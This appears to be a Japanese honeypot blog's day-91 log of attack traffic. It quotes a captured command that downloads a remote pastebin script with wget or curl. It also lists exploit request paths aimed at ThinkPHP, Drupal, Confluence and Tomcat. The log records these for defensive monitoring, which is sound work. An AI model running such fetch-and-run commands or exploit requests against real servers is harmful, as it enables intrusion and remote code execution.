23log

WOWHoneypotで観測した日々のログをつらつらと

トップ > Honeypot > WOWHoneypot観察(91日目)

WOWHoneypot観察(91日目)

Honeypot

2019/06/15(土)

トータルは246件です。

ハンティングログは以下でした。

128.199.94[.]117 wget -q -O- hxxps[:]//pastebin[.]com/raw/xvfxprtb || curl -fsSL hxxps[:]//pastebin[.]com/raw/xvfxprtb

urlscan.io

URL先の文字列をBase64でデコードしたところ、以下のスクリプトが確認できました。
f:id:sec23:20190616135905p:plain

urlscan.io

www.virustotal.com

jvndb.jvn.jp

Drupalの脆弱性を狙ったもののようです。


件数 概要 リクエスト
180 Tomcat管理ページに対するブルートフォース攻撃 GET /manager/html
40 アクセス GET /
3 ThinkPHPの脆弱性を狙った通信 GET /TP/public/index.php
2 ThinkPHPの脆弱性を狙った通信 POST /TP/public/index.php?s=captcha
2 不正中継の調査 GET hxxp://204.27.56.30/pac/ping.php
2 ThinkPHPの脆弱性を狙った通信 GET /TP/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
1 Spring Data Commonsの脆弱性を狙った通信 POST /users?page=&size=5
1 Drupalの脆弱性を狙った通信 POST /user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax
1 Atlassian Confluence Server におけるパストラバーサルの脆弱性を狙った通信(CVE-2019-3396) POST /rest/tinymce/1/macro/preview
1 ThinkPHPの脆弱性を狙った通信 POST /index.php?s=captcha
1 ThinkPHPの脆弱性を狙った通信 POST /?s=index/\think\Container/invokefunction
1 不正中継の調査 HEAD hxxp://112.124.42.80:63435/
1 調査 HEAD /
1 不正中継の調査 GET hxxp://www.ceek.jp/?0.91284959243376681810656
1 不正中継の調査 GET hxxp://www.ceek.jp/?0.6880139256849114908856
1 不正中継の調査 GET hxxp://www.ceek.jp/?0.64767824969042301512480
1 不正中継の調査 GET hxxp://www.ceek.jp/?0.3150017493769649507665408
1 不正中継の調査 GET hxxp://www.baidu.com/?0.80958477049544651644000
1 不正中継の調査 GET hxxp://www.baidu.com/?0.802018187689223506583280
1 不正中継の調査 GET hxxp://www.baidu.com/?0.3505754824625020485700
1 不正中継の調査不正中継の調査 GET hxxp://www.baidu.com/?0.1919479104024258968889648
1 WordPress の Pingback を狙ったブルートフォース攻撃 GET /xmlrpc.php
1 不明 GET /moo